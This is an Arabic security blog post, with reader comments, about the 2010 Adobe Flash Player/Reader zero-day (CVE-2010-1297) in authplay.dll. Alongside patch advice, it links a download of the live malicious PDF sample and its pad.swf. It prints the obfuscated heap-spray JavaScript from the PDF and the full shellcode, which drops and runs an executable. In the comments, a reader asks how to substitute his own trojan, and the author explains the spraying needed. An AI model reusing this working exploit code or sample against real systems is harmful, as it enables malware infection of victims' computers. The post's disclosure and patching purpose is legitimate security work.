Adobe FlashPlayer/Reader New 0day Flaws In the Wild

لقد تم الكشف مؤخرا عن اكتشاف ثغرة جديدة تصيب FlashPlayer الخاص بشركة Adobe و التى تمكن من تشغيل اكواد ضاره على اجهزة المستخدمين و لقد حذرت Adobe من وجود الثغرة و اكتشافها في استخدامات Massive Spreading و اصابة العديد من المواقع بهذة الثغرة الجديدة الـ0day التى تصيب Adobe Flashplayer و يمكن استخدامها ايضا داخل ملفات PDF فيمكن تشغيلها ايضا عن Adobe Reader بجميع الأصدارات الحالية ..

معلومات و تحليل اكثر عن الـثغرة التى تم اكتشافها مؤخرا :

قامت شركة Adobe بالأعلان عن تفاصيل استغلال الثغرة كما جأء في المقال بموقعها الرسمي حيث ذكرت ان الثغرة تصيب جميع اصدارات Adobe Flashplayer حتى اصدار 10.0.45.2 و ما يسبقها من اصدارات على انظمة Windows, Macintosh, Linux and Solaris و تصيب Adobe Reader  حتى اخر اصدار 9.3.2 حتى الأن و جميع الأصدارت السابقة لـAdobe reader/Acrobat 9.x و التى تصيب ملف authplay.dll التى يسمح بتشغيل ملفات SWF داخل ملفات PDF لـAdobe Acrobat/Adobe Reader و لم يتم تأكيد تشغيل الثغرة على اصدارات Adobe Reader/Acrobat 8.x فهيا غير متاحة للأصابة من هذة الثغرة ..

و للترقيع الثغرة اصدارات شركة Adobe الأصدار الجديد Flash Player 10.1 Release Candidate و التى تم اغلاق هذه الثغرة و ينصح المستخدمين من تحميل اخر اصدار حتى يتجنبوا الأصابة الخطيرة في تشغيل ملفات SWF من هذا الرابط : http://labs.adobe.com/technologies/flashplayer10

و للترقيع من Adobe Reader و Adobe Acrobat ينصح بحذف ملف Authplay.dll

C:\Program Files\Adobe\Reader 9.0\Reader\authplay.dll  : Adobe Reader

C:\Program Files\Adobe\Acrobat 9.0\Acrobat\authplay.dll  : Adobe Acorbat

و مع بحثي لوجود Poc خاص بالثغرة للأسف لم يتم اصدار Poc حتى الأن و لكني تمكنت من الحصول على احدى الملفات PDF التى تم ادارج فيها الثغرة الجديدة و التى بدورها تقوم بتشغيل Shellcode ضار يقوم بتشغيل ملف EXE خبيث على انظمة وندوز ..

و مع تحليل ملف الـPDF تم الحصول على ملف بأسم pad.swf و الذي بدوره يقوم بعمل overflow و بداخل ملف PDF كود Javascript و الذي يقوم بعمل Heap Spraying لحجز مكان shellcode بالـmemory

Poc Url : http://www.mediafire.com/file/linbhhcnndn/MaLware-Poc.zip

( تحذير الملف يقوم بتشغيل اكواد ضارة في المسار التالي C:/-.exe لا ينصح بتشغيله لغير الباحثين )

Js Steam from PDF :

var p = unescape;
var len = "\x6c\x65\x6e\x67\x74\x68";
function a(__){var _='';for(var ___=0;___<__[len];___+=4) _+='%'+'u'+__.substr(___,4);return _;}
var sb="uismhtsmfvotro,[svystr,ptpmd";
function s()
{
c = p(a("0c0c0c0c"));
while(c[len] + 20 + 8 < 0x10000) c = c + c;
b = c["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,(0x0c0c-0x24)/2);
b += p(a("0c0c0c0c49190700cccccccc48ef0700156f0700cccccccc90840700908407009084070090840700908407009084070090330700908407000c0c0c0c9084070090840700908407009084070090840700908407009084070090840700159907000124000172f707000104000115bb070010000000154d070015bb070003007ffe7fb2070015bb070000110001a8ac070015bb070001000001a8ac070072f707000011000152e207005c540700ffffffff0100000100000000010400011000000000400000d731070015bb0700905a9054154d0700a722070015bb0700eb5a5815154d0700a722070015bb07001a8b1889154d0700a722070015bb0700c0838304154d0700a722070015bb070004c2fb81154d0700a722070015bb07000c0c0c0c154d0700a722070015bb0700ee7505eb154d0700a722070015bb0700e6e8ffff154d0700a722070015bb070090ff9090154d0700a722070015bb070090909090154d0700a722070015bb070090909090154d0700a722070015bb0700ffff90ff154d0700d7310700112f0700a16400300000408b8b0c1c708bad087034e900025800ec8102000000fc8b77898908104777ff680897ec0c03c4e8000189001c4777ff680822f67cb9b4e800018900204777ff680817a57c00a4e800018900244777ff680897fb0ffd94e800018900284777ff6808651610fa84e8000189002c4777ff6808791fe80a74e800018900304777ff6808b025c2ff64e800018900344777ff680808ac76da54e800018900384777ff6808fe980e8a44e8000189003c4777ff6808897499ec34e800018900404777ff6808b98378b524e800018900444777ff68089baddf7d14e800018900484777ffff103457f6338d466047565057ff8348fff8f274003d0010760089eb04477789ff600477406a57ff891c5c47006a006a006a77ffff603857f88374ff6a4b8d00705fff53047777ffff5c607757ff8b2c704fe9838b105c47814046385a2e756881090478062319810474ece21aebc0838908144781404a386375754b81090478011219830e74ece277ffff5c2057850fff72ffffc08389081847006a806800006a006a026a0068000000400077ffff1024574789c7646c475a4d0090006a5f8d5370046a5f8d536c77ffff643057478b2b181447e8838b08145f03304843f88375006af78d00705f8b53185f5f2b831408ebff53147777ffff64305777ffff642857006a77ffff103c5766eb90905590ec8b8b57087d5d8b560c738b8b3c1e74037856f3768b032033f349c9ad41c30333560ff610bef23a0874cec1030d40f2f1ebfe3b755e5ae5eb8b5a8b032466dd0c8b8b4b1c5add03048b038b5ec55d5f08c2e800fdc7ffff3a632d5c652e65789000006aff6a57ff9044"));
b += c;
d = b["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,0x10000/2);
while(d[len] < 0x80000) d+=d;
_3 = d["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,0x80000-(0x1020-0x08)/2);
_4 = new Array();
for(i=0;i<0x1f0;i=i+1) _4[i] = _3 + "s";
}
s();

Shellcode From PDF:

\x0c\x0c\x0c\x0c\x19\x49\x00\x07\xcc\xcc\xcc\xcc\xef\x48\x00\x07\x6f\x15\x00\x07\xcc\xcc\xcc\xcc\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x33\x90\x00\x07\x84\x90\x00\x07\x0c\x0c\x0c\x0c\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x84\x90\x00\x07\x99\x15\x00\x07\x24\x01\x01\x00\xf7\x72\x00\x07\x04\x01\x01\x00\xbb\x15\x00\x07\x00\x10\x00\x00\x4d\x15\x00\x07\xbb\x15\x00\x07\x00\x03\xfe\x7f\xb2\x7f\x00\x07\xbb\x15\x00\x07\x11\x00\x01\x00\xac\xa8\x00\x07\xbb\x15\x00\x07\x00\x01\x01\x00\xac\xa8\x00\x07\xf7\x72\x00\x07\x11\x00\x01\x00\xe2\x52\x00\x07\x54\x5c\x00\x07\xff\xff\xff\xff\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xd7\x00\x07\xbb\x15\x00\x07\x5a\x90\x54\x90\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x5a\xeb\x15\x58\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x8b\x1a\x89\x18\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x83\xc0\x04\x83\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\xc2\x04\x81\xfb\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x0c\x0c\x0c\x0c\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x75\xee\xeb\x05\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\xe8\xe6\xff\xff\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\xff\x90\x90\x90\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x90\x90\x90\x90\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\x90\x90\x90\x90\x4d\x15\x00\x07\x22\xa7\x00\x07\xbb\x15\x00\x07\xff\xff\xff\x90\x4d\x15\x00\x07\x31\xd7\x00\x07\x2f\x11\x00\x07\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x70\x08\xe9\x34\x02\x00\x00\x58\x81\xec\x00\x02\x00\x00\x8b\xfc\x89\x77\x08\x89\x47\x10\xff\x77\x08\x68\xec\x97\x03\x0c\xe8\xc4\x01\x00\x00\x89\x47\x1c\xff\x77\x08\x68\xf6\x22\xb9\x7c\xe8\xb4\x01\x00\x00\x89\x47\x20\xff\x77\x08\x68\xa5\x17\x00\x7c\xe8\xa4\x01\x00\x00\x89\x47\x24\xff\x77\x08\x68\xfb\x97\xfd\x0f\xe8\x94\x01\x00\x00\x89\x47\x28\xff\x77\x08\x68\x16\x65\xfa\x10\xe8\x84\x01\x00\x00\x89\x47\x2c\xff\x77\x08\x68\x1f\x79\x0a\xe8\xe8\x74\x01\x00\x00\x89\x47\x30\xff\x77\x08\x68\x25\xb0\xff\xc2\xe8\x64\x01\x00\x00\x89\x47\x34\xff\x77\x08\x68\xac\x08\xda\x76\xe8\x54\x01\x00\x00\x89\x47\x38\xff\x77\x08\x68\x98\xfe\x8a\x0e\xe8\x44\x01\x00\x00\x89\x47\x3c\xff\x77\x08\x68\x74\x89\xec\x99\xe8\x34\x01\x00\x00\x89\x47\x40\xff\x77\x08\x68\x83\xb9\xb5\x78\xe8\x24\x01\x00\x00\x89\x47\x44\xff\x77\x08\x68\xad\x9b\x7d\xdf\xe8\x14\x01\x00\x00\x89\x47\x48\xff\x77\x10\xff\x57\x34\x33\xf6\x46\x8d\x47\x60\x50\x56\xff\x57\x48\x83\xf8\xff\x74\xf2\x3d\x00\x10\x00\x00\x76\xeb\x89\x47\x04\x89\x77\x60\xff\x77\x04\x6a\x40\xff\x57\x1c\x89\x47\x5c\x6a\x00\x6a\x00\x6a\x00\xff\x77\x60\xff\x57\x38\x83\xf8\xff\x74\x4b\x6a\x00\x8d\x5f\x70\x53\xff\x77\x04\xff\x77\x5c\xff\x77\x60\xff\x57\x2c\x8b\x4f\x70\x83\xe9\x10\x8b\x47\x5c\x40\x81\x38\x46\x2e\x5a\x68\x75\x09\x81\x78\x04\x23\x06\x81\x19\x74\x04\xe2\xec\xeb\x1a\x83\xc0\x08\x89\x47\x14\x40\x81\x38\x4a\x75\x63\x4b\x75\x09\x81\x78\x04\x12\x01\x83\x19\x74\x0e\xe2\xec\xff\x77\x5c\xff\x57\x20\x0f\x85\x72\xff\xff\xff\x83\xc0\x08\x89\x47\x18\x6a\x00\x68\x80\x00\x00\x00\x6a\x02\x6a\x00\x6a\x00\x68\x00\x00\x00\x40\xff\x77\x10\xff\x57\x24\x89\x47\x64\xc7\x47\x6c\x4d\x5a\x90\x00\x6a\x00\x8d\x5f\x70\x53\x6a\x04\x8d\x5f\x6c\x53\xff\x77\x64\xff\x57\x30\x8b\x47\x18\x2b\x47\x14\x83\xe8\x08\x8b\x5f\x14\x30\x03\x43\x48\x83\xf8\x00\x75\xf7\x6a\x00\x8d\x5f\x70\x53\x8b\x5f\x18\x2b\x5f\x14\x83\xeb\x08\x53\xff\x77\x14\xff\x77\x64\xff\x57\x30\xff\x77\x64\xff\x57\x28\x6a\x00\xff\x77\x10\xff\x57\x3c\xeb\x66\x90\x90\x90\x55\x8b\xec\x57\x8b\x7d\x08\x8b\x5d\x0c\x56\x8b\x73\x3c\x8b\x74\x1e\x78\x03\xf3\x56\x8b\x76\x20\x03\xf3\x33\xc9\x49\x41\xad\x03\xc3\x56\x33\xf6\x0f\xbe\x10\x3a\xf2\x74\x08\xc1\xce\x0d\x03\xf2\x40\xeb\xf1\x3b\xfe\x5e\x75\xe5\x5a\x8b\xeb\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x5e\x5f\x5d\xc2\x08\x00\xe8\xc7\xfd\xff\xff\x63\x3a\x5c\x2d\x2e\x65\x78\x65\x00\x90\x6a\x00\x6a\xff\xff\x57\x44\x90

SWF Standalone File From PDF  : http://www.mediafire.com/file/jg2l1kij5jz/pad.swf

و هذا دليل على وجود ملفات swf و ادراجها داخل PDF و تشغيلها بشكل ناجع كما ذكرنا و يرجى من جميع المستخدمين الترقيع كما ذكرنا بالموضوع و تنزيل اخر تحديث من Flashplayer على الرابط التالي :

http://labs.adobe.com/downloads/flashplayer10.html

و دمتم بود 🙂

References :

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1297

http://www.adobe.com/support/security/advisories/apsa10-01.html

http://www.symantec.com/business/security_response/writeup.jsp?docid=2010-060601-3020-99

نبذة عن الكاتب

أحمد ابوالعلا : باحث امن معلومات مصري , متخصص في إختبار نظم الحماية و تجربة الأختراق و مهتم بإختبار تطبيقات الويب, قام باكتشاف العديد من الثغرات في مواقع و شركات عالمية مثل Ebay, Adobe , Apple , Twitter , Yahoo, Microsoft , Google و تم ادراج اسمه عده مرات بحائط الشرف تقديراً لجهوده.

التعليقات:

اترك تعليقاً | عدد التعليقات: (8)

  1. يقول بشار:

    مشكور جدّاً أحمد … متابعة رائعة…

    فقط للتنويه الثغرة لا تستهدف فلاش على ويندوز فقط وإنّما أيضاً لينكس وماك.

  2. يقول سبري:

    يعني هسه افهم اني ممكن اشغل تروجان عن طريق اي شي بامتداد swf
    يعني متلا عن طريق ملف فلاش
    ازا هيك ياريت نفهم كيف طريقة التحليل الي قمت فيها بلكي بدلنا التروجان بتروجان خاص فينا

    • يقول Ahmed:

      سبري: نعم يمكن تشغيل تروجان عن طريق swf و لكن تحتاج لعمل heap spraying مع ملف الـswf لحجز مكان الـshellcode و تنفيذ الهجوم بنجاح .. و الـpoc الذي قمت بوضعة هو يقوم بنفس الطريقة لكن داخل ملف PDF فهو يقوم بتشغيل ملف swf و الذي بدوره يقوم بعمل triggering bug و يتم تنفيذ heap spray عن طريق كود الجافا سكربت الموجود داخل PDF ايضا ..

      و لكن عند تطبيق نفس الـheap spray و عمل emebed بملف html سوف تحتاج إلى تعديل للوصول إلى عملية exploiting ناجحه انتظرني شوية و بطرح Safe Poc لتشغيل calc بدلا من التروجان الموجود داخل الملف للتجربة .

  3. يقول pirate:

    مشكور على الخبر
    لكن فين هو تحليل الثغرة؟
    التحليل من المفروض توضح فيه مكان تواجد الثغرة و الدالة المصابة و كيفية الإستغلال.
    أمر ثاني الثغرة ليست من نوع overflow و إنما memory corruption

    و الإستغلال لم يستخدم فيه heap spray و إنما JIT-Spray الذي يعتمد على ActioScript و ذلك لتخطي حماية ASLR و يشتغل على win7…

    • يقول Ahmed:

      pirate@ :

      ” لكن فين هو تحليل الثغرة؟ التحليل من المفروض توضح فيه مكان تواجد الثغرة و الدالة المصابة و كيفية الإستغلال. ”

      اعتقد عنوات التدوينة واضح فهو خبرو هو تحت تصنيف News و ليس تحليل لثغرة 0day التى ظهرت مؤخرا اخي الكريم و انا لم اتطرق للتحليل الكامل للثغرة لأن هذا يحتاج لموضوع منفصل لتحيل كل شئ و لما حدث الـheap corruption و ما هي الداله المسؤلة في ملف swf التى ادت إلى هذا الخلل , و لكني فقط بألأول قمت بالبحث حتى وصلت لملف مصاب بالثغرة و استخراج الـresources الموجودة بداخله و ذلك لمن يريد ان يقوم بتحليل الملف بشكل كامل ..

      و اذا اردت للتحيل يمكني ذلك و لكن سوف احتاج لبعض الوقت الأن للتحيل وعمل Decompliling لـAS الموجود داخل SWF و انا اعمل على ذلك حاليا و من الواضح انه الخطاء في SWF جاء نتيجة خطاء في معالجة frame processing

      “أمر ثاني الثغرة ليست من نوع overflow و إنما memory corruption ”

      اعرف تماما انها memory corruption اخي الكريم و هذا واضح من استخدام Heap Spray الموجود بداخل ملف PDF

      “و الإستغلال لم يستخدم فيه heap spray و إنما JIT-Spray الذي يعتمد على ActioScript و ذلك لتخطي حماية ASLR و يشتغل على win7…”

      للأسف انت مخطاء تمام لم يتم استخدام JITspray في هذة الثغرة و لكن تم استخدام heap spray عادي و اعتقد طرحت كود heap spray بالتدوينة و اذا اردت دليل قم بحذف js stream الموجود بالثغرة و قم بعملية debugging و سوف ترى ماذا يحدث 🙂

      فاذا قام بأستخدام JITSpray فسوف يقوم بعمل Spraying بداخل swf دون الحاجة إلى javascript code اذا تعرف جيدا ما هي فكرة JITSpray سوف تعلم ذلك .

  4. يقول pirate:

    “اعرف تماما انها memory corruption اخي الكريم و هذا واضح من استخدام Heap Spray الموجود بداخل ملف PDF”

    يمكننا إستخدام heap spraying حتى في ثغرات overflow, use after free,double free…

    الإستغلال الذي إنتشر إستخدم طريقة JIT-Spraying داحل ملف pad.swf
    http://www.exploit-db.com/exploits/13787/

    أما بالنسبة لدمجهم لثغرة الفلاش في ملف pdf و إستخدام heap spraying داخل ملف pdf فهو لضمان نجاح الثغرة
    في حالة فشل JIT-SPRAY و في حالة إستخدام الضحية لنسخة ويندوز لا تدعم DEP ك xp sp2

    لكن في حالة إستخدام الضحية ل win 7 مثلا فلن تنجح هذه الطريقة

    ستكون مبادرة طيبة منك أخي إذا قمت بوضع تحليل حول كيفية إستغلال هذه الثغرة.

  5. يقول Tawalebeh:

    شكراً على الخبر
    فقط للمعلومية : الثغرة نزلت على Meta Sploit .

أكتب تعليق